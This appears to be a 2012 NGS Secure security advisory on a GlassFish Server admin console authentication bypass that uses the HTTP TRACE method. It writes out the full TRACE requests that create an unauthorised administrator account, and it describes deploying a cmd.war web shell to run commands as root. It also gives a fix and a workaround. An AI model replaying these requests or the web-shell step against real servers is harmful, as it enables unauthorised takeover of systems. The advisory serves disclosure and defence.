NGS00106 Technical Advisory: Increased exploitation of Oracle GlassFish Server Administration Console Remote Authentication Bypass Vulnerability

["Research@NGSSecure" <research@xxxxxxxxxxxxx>]

=======
Summary
=======
Name: Increased exploitation of Oracle GlassFish Server Administration Console 
Remote Authentication Bypass Vulnerability 
Release Date:  5 January 2012
Reference: NGS00106
Discoverer: David Spencer <david.spencer@xxxxxxxxxxxxx>
Vendor: Oracle
Vendor Reference: 
Systems Affected: Oracle GlassFish Server 2.1 and 3
Risk: High
Status: Published

========
TimeLine
========
Discovered: 26 August 2011
Released: 26 August 2011
Approved: 26 August 2011
Reported: 26 August 2011
Fixed: July 2011
Published:  5 January 2012

===========
Description
===========
Core security released a bug in Oracle GlassFish Server Administration Console 
on 5th May 2011 which can be found here:
http://www.securityfocus.com/archive/1/517965/30/0/threaded 
and here
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1511 

The rating of this issue is classified as medium due to it only returning 
sensitive information. A full fix has been released by Oracle.

NGS found that it is possible to use this issue to create a GlassFish 
administrator account as an unauthenticated user.

=================
Technical Details
=================
There is a known authentication bypass in Glassfish, by using a TRACE method 
rather than a GET method it is possible to access data meant only for Glassfish 
administrators.
The following requests were used to create a new Glassfish administrator:

TRACE 
/common/security/realms/manageUserNew.jsf?name=admin-realm&configName=server-config&bare=true
 HTTP/1.1
Host: 10.65.78.211:4848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) 
Gecko/20100101Firefox/6.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: 
http://10.65.78.211:4848/common/security/realms/manageUsers.jsf?name=admin-realm&configName=server-config&bare=true
Cookie: JSESSIONID=ada23501f36f1ec9148589e9a574

This then gave access to the create user page, however it is important that 
when the submit button is pressed the resultant POST request be converted to a 
TRACE request.

TRACE 
/common/security/realms/manageUserNew.jsf?propertyForm%3ApropertySheet%3ApropertSectionTextField%3AuserIdProp%3AUserId=NGSSecure&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AnewPasswordProp%3ANewPassword=Password!!&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AconfirmPasswordProp%3AConfirmPassword=Password!!&propertyForm%3AhelpKey=ref-filerealmusernew.html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=-2309913764624097582%3A-
2546877703812727807&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.source=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.execute=%40all&javax.faces.partial.render=%40all&bare=true&propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.ajax=true
 HTTP/1.1
Host: 10.65.78.211:4848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) 
Gecko/20100101Firefox/6.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Faces-Request: partial/ajax
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: 
http://10.65.78.211:4848/common/security/realms/manageUserNew.jsf?name=admin-realm&configName=server-config&;
Content-Length: 0
Cookie: JSESSIONID=ada23501f36f1ec9148589e9a574
Pragma: no-cache
Cache-Control: no-cache

This created a user called NGSSecure with a password of Password!!

NGS then logged on to the Glassfish administration console using this newly 
created user. Once logged on as this user it was possible to upload and deploy 
a website, NGS deployed cmd.war which allowed the user to run commands under 
the context of the GlassFish server which is root by default.

===============
Fix Information
===============
This issue has been fixed in GlassFish 3.1, a workaround also exists which is 
to disable the TRACE method on the administrator consoles web port

NGS Secure Research
http://www.ngssecure.com